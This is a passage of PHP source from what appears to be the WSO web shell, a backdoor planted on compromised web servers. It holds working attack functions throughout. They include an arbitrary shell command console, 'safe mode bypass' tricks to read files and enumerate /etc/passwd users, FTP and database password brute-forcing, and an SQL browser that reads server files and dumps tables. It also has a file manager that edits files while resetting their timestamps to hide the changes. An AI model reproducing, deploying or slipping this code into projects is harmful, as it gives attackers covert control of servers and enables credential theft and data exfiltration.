'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['p2'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
}
$temp = ob_get_clean();
wsoHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actionLogout() {
session_destroy();
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql = "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
